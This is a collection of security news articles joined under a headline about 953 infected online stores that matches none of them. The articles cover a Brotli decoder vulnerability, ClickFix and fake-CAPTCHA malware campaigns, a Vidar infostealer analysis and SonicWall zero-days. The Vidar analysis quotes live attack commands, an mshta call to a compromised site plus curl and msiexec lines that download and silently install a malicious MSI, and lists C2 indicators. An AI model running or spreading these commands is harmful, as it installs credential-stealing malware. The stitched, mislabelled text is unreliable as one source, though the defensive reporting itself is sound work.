Hackers Infect 953 Online Stores With Scanner-Evading Code

A vulnerability in Google’s Brotli data compression library, tracked as CVE-2026-111497 and dubbed Node2Shell, has led to security updates from Microsoft, the Node.js project and the maintainers of two Python packages. Node.js and the Python packages were patched last week, and Microsoft followed on October 25 with fixes for .NET, Visual Studio and PowerShell. Bun, Envoy and Istio have also been updated. Brotli is a popular choice for compressing data sent over the web, and its decoder is embedded in a long list of applications and libraries. Described as an out-of-bounds write, the bug impacts Brotli 1.0.3 through 1.2.0. Google gave it a CVSS v4 score of 9.2, which puts it in the critical category. Brotli versions 1.0.10, 1.1.1 and 1.2.1 contain the fix. The Node.js project said specially crafted input can push data beyond the limits of a buffer used by the decoder. The resulting memory corruption could cause the process to crash or leak memory contents, and could also allow an unauthenticated attacker to run arbitrary code. Node.js credited the discovery to members of OpenAI Codex Security. According to OpenAI, the issue was uncovered during red-teaming work, after which the company notified the Brotli developers and the projects that rely on the library. OpenAI noted that the fix predates the disclosure. “This root cause issue was actually fixed in the Brotli source code in February, but it wasn’t known at the time that it gave rise to a security vulnerability and there was no more recent release of Brotli,” the AI company said. Code execution demonstrated on official Node.js image Imperva has shown that it can be exploited for code execution on the official Node.js 24.22.0 image for Linux arm64. Its researchers sent the malicious data both in a server response retrieved by the targeted application and in a request body processed by Express 5 or body-parser 2. “The proof did not succeed on every attempt. Our results establish code execution for the tested Linux arm64 build and application setups, and show how the fixed build handled the same inputs,” Imperva said. The security firm has not made its exploit public. Attacks only work if malicious Brotli data reaches the decoder, for instance through a library that unpacks compressed content on the application’s behalf. “Any application that passes attacker-controlled data to an affected Google Brotli decoder may be exposed. This includes compressed HTTP request bodies, responses fetched from untrusted servers, and compressed files,” OpenAI’s Patch the Planet initiative said in its advisory. No exploitation in the wild has been reported so far. A proof-of-concept exploit published on GitHub reportedly achieves code execution only against an intentionally weakened build, and some researchers argued the bug can only be used for denial-of-service (DoS) attacks. Microsoft products and Python packages affected Microsoft’s October 25 updates include .NET runtime versions 8.0.33, 9.0.22 and 10.0.14, along with .NET 11 Release Candidate 3. Visual Studio 2019, 2022 and 2026, as well as PowerShell 7.4, 7.5 and 7.6, have also been updated. Microsoft has categorized CVE-2026-111497 as an elevation of privilege issue with a CVSS v3.1 base score of 8.1. It rates the flaw critical for .NET and Visual Studio and important for PowerShell, and its exploitability assessment is “Exploitation More Likely.” In Python’s case, the vulnerable decoder is built into two PyPI packages, Brotli and brotlicffi. They have been patched with the release of versions 1.2.1 and 1.2.1.0, respectively. As more affected software emerged, researchers began referring to the flaw as HTTP2Shell and Broccoli2Shell. A public tracker of software that bundles its own copy of the Brotli decoder lists several projects that are still unpatched, including DuckDB, Apache Arrow, 7-Zip-zstd, p7zip and EDK II. Its maintainers say the list is incomplete, and that not every configuration of these projects necessarily exposes the vulnerable code. Applying the updates also requires restarting affected services and rebuilding container images on top of a patched base, since processes that are already running keep using the vulnerable code. Related: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge Related: Attackers Exploit Third Arista VCO Zero-Day in Four Months Related: LiteLLM Compromised in Fresh Supply Chain Attack

A spearphishing attack that lasted a single day targeted members of the Ukrainian regional government administration and organizations critical for the war relief effort in Ukraine, including the International Committee of the Red Cross, UNICEF, and various NGOs. Dubbed PhantomCaptcha, the one-day campaign attempted to trick victims into running commands used in ClickFix attacks, disguised as Cloudflare CAPTCHA verification prompts, to install a WebSocket Remote Access Trojan (RAT). SentinelLABS, the threat research division at SentinelOne, says that the campaign started and ended on October 8, and that the attacker spent significant time and effort to set up the necessary infrastructure, as some domains used in the operation were registered at the end of March. "I am not a robot" ClickFix attacks The attacks started with emails impersonating the Ukrainian President’s Office, carrying malicious PDF attachments that linked to a domain impersonating the Zoom (zoomconference[.]app) communication platform. When clicking on the fake Zoom conference link, visitors saw an automated browser check process before redirecting to the communication platform. During this stage, a client identifier is generated and passed to the attacker's server over a Websocket connection. "If the WebSocket server responded with a matching identifier, the victim’s browser would redirect to a legitimate, password-protected Zoom meeting," SentinelLABS' analysis showed. According to the researchers, this path likely led to the threat actor engaging in live social engineering calls with the victim. If the client ID did not match, visitors had to pass another security check and prove that they were real people and not robots. They could complete the fake CAPTCHA verification by following instructions in Ukrainian that prompted them to press a button to copy a "token" and paste it in the Windows Command Prompt. What the copy/paste action did was to run a PowerShell command that downloaded and executed a malicious script (cptch) for delivering the second-stage payload, a reconnaissance and system-profiler utility. The tool collects system data like computer name, domain information, username, process ID, and system UUID, and sends it to the command-and-control (C2) server. The final payload is a lightweight WebSocket RAT capable of remote command execution and data exfiltration through base64-encoded JSON commands. The researchers found that the short-lived campaign was linked to a subsequent operation that targeted users in Lviv, Ukraine, with adult-themed Android APKs or cloud storage tools. These apps act as spyware, monitoring the victim’s real-time location, call logs, contact list, and images, exfiltrating them to the attackers. While SentinelLABS made no attribution for the "I am not a robot" ClickFix attacks, the researchers note that the WebSocket RAT was hosted on Russian infrastructure, and the adult-themed campaign may be related to Russia/Belarus source development. Additionally, a report from the Google Threat Intelligence Group (GTIG) yesterday describes a malicious "I am not a robot" captcha challenge used in attacks attributed to ColdRiver (a.k.a. Star Blizzard, UNC4057, Callisto), a threat group attributed to the Russian intelligence service (FSB). GTIG highlighted that the hackers were quick to operationalize new malware families after researchers had disclosed publicly older tools that ColdRiver deployed in cyberespionage activities. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

ClickFix attacks have evolved to feature videos that guide victims through the self-infection process, a timer to pressure targets into taking risky actions, and automatic detection of the operating system to provide the correct commands. In a typical ClickFix attack, the threat actor relies on social-engineering to trick users into pasting and executing code or commands from a malicious page. The lures used may vary from identity verification to software problem solutions. The goal is to make the target execute malware that fetches and launches a payload, usually an information stealer. Most of the times, these attacks provided text instructions on a web page but newer versions rely on an embedded video to make the attack less suspicious. Push Security researchers have spotted this change in recent ClickFix campaigns, where a fake Cloudflare CAPTCHA verification challenge detected the victim’s OS and loaded a video tutorial on how to paste and run the malicious commands. Through a JavaScript, the threat actor can hide the commands and copy them automatically into the user's clipboard, thus reducing the chances of human error. On the same window, the challenge included a one-minute countdown timer that presses the victim into taking quick action and leaving little time to verify the authenticity or safety of the verification process. Adding to the deception is a “users verified in the last hour” counter, making the window appear as part of a legitimate Cloudflare bot check tool. Although we have seen ClickFix attacks against all major operating systems before, including macOS and Linux, the automatic detection and adjustment of the instructions is a new development. Push Security reports that these more advanced ClickFix webpages are promoted primarily through malvertizing on Google Search. The threat actors either exploit known flaws on outdated WordPress plugins to compromise legitimate sites and inject their malicious JavaScript on pages, or “vibe-code” sites and use SEO poisoning tactics to rank them higher up in the search results. Regarding the payloads delivered in these attacks, Push researchers noticed that they depended on the operating system, but included the MSHTA executable in Windows, PowerShell scripts, and various other living-off-the-land binaries. The researchers speculate that future ClickFix attacks could run entirely in the browser, evading EDR protections. As ClickFix evolves and takes more convincing and deceptive forms, users should remember that executing code on the terminal can never be a part of any online-based verification process, and no copied commands should ever be executed unless the user fully understands what they do. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves. Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains. One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil. What is Vidar? Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets: Browser-stored usernames and passwords Cryptocurrency wallet information Session cookies and authentication tokens Autofill data and saved payment information Files that may contain sensitive data Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection. Fake CAPTCHA: the never-ending story When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page. This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain. The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case: mshta https://{compromised website}/challenge/cf Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns. In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer. HTA-based MSI dropper The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware. The script performs several operations: The window is resized to 0x0 and moved off-screen, making the application invisible to the user. The script terminates if the document.location.href doesn’t start withhttp . The strings are decoded using XOR and a random key. Through WMI queries, the script checks for installed antivirus products. It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file. In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream. In this case, the malicious MSI was downloaded using the following command: “C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi Afterward, the malicious MSI was executed with: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn MSI and GoLang loader The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader. Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads. In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed. The Golang loader decodes a shellcode that performs different anti-analysis checks, including: CheckRemoteDebuggerPresent IsDebuggerPresent QueryPerformanceCounter GetTickCount After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory. Analysis of compromised websites The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases. The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint. Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites. The injected script performs several actions: Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint/api/plugin . Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status. During page loads (template_redirect ), the script filters visitors based on User-Agent and targets Windows desktop visitors. Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page. How to stay safe Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference. Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking. Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything. Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code. Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware. Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed. Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack. Indicators of Compromise (IOCs) Domains cdnwoopress[.]com: Fake CAPTCHA Infrastructure woopresscdn[.]com : Fake CAPTCHA Infrastructure walwood[.]be : Fake CAPTCHA Infrastructure telegram[.]me/dikkh0k : Vidar C2 telegram[.]me/pr55ii : Vidar C2 steamcommunity[.]com/profiles/76561198742377525 : Vidar C2 steamcommunity[.]com/profiles/76561198735736086 : Vidar C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

SonicWall says attackers are actively exploiting two chained zero-days to take over Secure Mobile Access (SMA) Series 1000 boxes. Aimed at midsize and large enterprises, SMA1000 gateways secure remote access and VPN connections. Compromising one can therefore provide attackers with a valuable route into corporate networks. So, get to applying those hotfixes, says SonicWall. There are no workarounds. The first zero-day, CVE-2026-83548, is a pre-authentication server-side request forgery (SSRF) vulnerability with a maximum CVSS v3 score of 10.0. SonicWall attributed it to an unintended alternative access path. "A remote unauthenticated attacker could potentially exploit this vulnerability to gain unauthorized access to sensitive functionality and perform unauthorized operations," the vendor said. The second, CVE-2026-83549, is a post-authentication OS command injection vulnerability in the SMA1000 Appliance Management Console (AMC), rated 7.8 on CVSS v3. Under certain conditions, an attacker authenticated as an administrator could execute arbitrary commands on the appliance. The flaws affect the SMA 6210, 7210, and 8200v appliances, for which SonicWall has released hotfixes. SonicWall advised customers to contact its technical support team for help identifying indicators of compromise. If an appliance appears to have been compromised, SonicWall recommends reimaging or redeploying it, changing all passwords, and resetting TOTP tokens. NHS England, which published its own advisory, warned about the growing risk of attacks against internet-facing gateways. "Firewalls and other edge devices are internet-facing by design and are highly attractive targets to attackers, and there is an increasing number of edge device vulnerabilities disclosed each year that are rapidly exploited by attackers," it stated. "The NHS England National CSOC assesses future exploitation of these vulnerabilities as almost certain." The disclosures continue a difficult run for SonicWall and its SMA1000 product line stretching back through 2025. In July, the vendor disclosed an eerily similar pair of vulnerabilities. That pair also comprised a pre-authentication SSRF vulnerability, this time in the SMA1000 Appliance WorkPlace interface, and a post-authentication OS command injection flaw in the AMC. The SSRF received a maximum CVSS v3 score of 10.0, while the command injection bug was rated in the sevens. CISA later added CVE-2026-15409 to its Known Exploited Vulnerabilities catalog and marked it as known to have been used in ransomware campaigns. Throughout 2025, SonicWall patched a succession of SMA1000 vulnerabilities, including OS command injection and privilege escalation flaws, while investigating zero-days linked to ransomware attacks. ®

Cybersecurity researchers are calling attention to a nefarious campaign targeting WordPress sites to make malicious JavaScript injections that are designed to redirect users to sketchy sites. "Site visitors get injected content that was drive-by malware like fake Cloudflare verification," Sucuri researcher Puja Srivastava said in an analysis published last week. The website security company said it began an investigation after one of its customer's WordPress sites served suspicious third-party JavaScript to site visitors, ultimately finding that the attackers introduced malicious modifications to a theme-related file ("functions.php"). The code inserted into "functions.php" incorporates references to Google Ads, likely in an attempt to evade detection. But, in reality, it functions as a remote loader by sending an HTTP POST request to the domain "brazilc[.]com," which, in turn, responds with a dynamic payload that includes two components - A JavaScript file hosted on a remote server ("porsasystem[.]com"), which, as of writing, has been referenced on 17 websites and contains code to perform site redirects A piece of JavaScript code that creates a hidden, 1x1 pixel iframe, within which it injects code that mimics legitimate Cloudflare assets like "cdn-cgi/challenge-platform/scripts/jsd/main.js" – an API that's a core part of its bot detection and challenge platform It's worth noting that the domain "porsasystem[.]com" has been flagged as part of a traffic distribution system (TDS) called Kongtuke (aka 404 TDS, Chaya_002, LandUpdate808, and TAG-124). According to information shared by an account named "monitorsg" on Mastodon on September 19, 2025, the infection chain starts with users visiting a compromised site, resulting in the execution of "porsasystem[.]com/6m9x.js," which then leads to "porsasystem[.]com/js.php" to eventually take the victims to ClickFix-style pages for malware distribution. The findings illustrate the need for securing WordPress sites and ensuring that plugins, themes, and website software are kept up-to-date, enforcing strong passwords, scanning the sites for anomalies and unexpected administrator accounts created for maintaining persistent access even after the malware is detected and removed. Create ClickFix Pages Using IUAM ClickFix Generator The disclosure comes as Palo Alto Networks Unit 42 detailed a phishing kit named IUAM ClickFix Generator that allows attackers to infect users with malware by leveraging the ClickFix social engineering technique and come up with customizable landing pages by mimicking browser verification challenges often used to block automated traffic. "This tool allows threat actors to create highly customizable phishing pages that mimic the challenge-response behavior of a browser verification page commonly deployed by Content Delivery Networks (CDNs) and cloud security providers to defend against automated threats," security researcher Amer Elsad said. "The spoofed interface is designed to appear legitimate to victims, increasing the effectiveness of the lure." The bespoke phishing pages also come with capabilities to manipulate the clipboard, a crucial step in the ClickFix attack, as well as detect the operating system used in order to tailor the infection sequence and serve compatible malware. In at least two different cases, threat actors have been detected using pages generated using the kit to deploy information stealers such as DeerStealer and Odyssey Stealer, the latter of which is designed to target Apple macOS systems. The emergence of the IUAM ClickFix Generator adds to a prior alert from Microsoft warning of a rise in commercial ClickFix builders on underground forums since late 2024. Another notable example of a phishing kit that has integrated the offering is Impact Solutions. "The kits offer creation of landing pages with a variety of available lures, including Cloudflare," Microsoft noted back in August 2025. "They also offer construction of malicious commands that users will paste into the Windows Run dialog. These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence." It goes without saying that these tools further lower the barrier to entry for cybercriminals, enabling them to mount sophisticated, multi-platform attacks at scale without much effort or technical expertise. ClickFix Becomes Stealthy via Cache Smuggling The findings also follow the discovery of a new campaign that has innovated on the ClickFix attack formula by employing a sneaky technique referred to as cache smuggling to fly under the radar as opposed to explicitly downloading any malicious files on the target host. "This campaign differs from previous ClickFix variants in that the malicious script does not download any files or communicate with the internet," Expel Principal Threat Researcher Marcus Hutchins said. "This is achieved by using the browser's cache to pre-emptively store arbitrary data onto the user's machine." Expel said it was unable to determine the final payload received as part of the attack. It's also currently not known how users are redirected to the phishing page, and if it involves techniques like malvertising or search engine optimization (SEO) poisoning. In the attack documented by the cybersecurity company, the ClickFix-themed page masquerades as a Fortinet VPN Compliance Checker, using FileFix tactics to deceive users into launching the Windows File Explorer and pasting a malicious command into the address bar to trigger the execution of the payload. The invisible command is designed to run a PowerShell script via conhost.exe. What makes the script stand apart is that it does not download any additional malware or communicate with an attacker-controlled server. Instead, it executes an obfuscated payload that passes off as a JPEG image and is already cached by the browser when the user lands on the phishing page. "The file extracted from the cache is used to set up a scheduled task, which is set to run after each reboot," Hutchins told The Hacker News. "When the task runs, it connects to a command-and-control server waiting for follow-up commands." "Neither the web page nor the PowerShell script explicitly downloads any files," Hutchins explained. "By simply letting the browser cache the fake 'image,' the malware is able to get an entire ZIP file onto the local system without the PowerShell command needing to make any web requests." "The implications of this technique are concerning, as cache smuggling may offer a way to evade protections that would otherwise catch malicious files as they are downloaded and executed. An innocuous-looking 'image/jpeg' file is downloaded, only to have its contents extracted and then executed via a PowerShell command hidden in a ClickFix phishing lure." (The story was updated after publication to include additional insights from Expel.)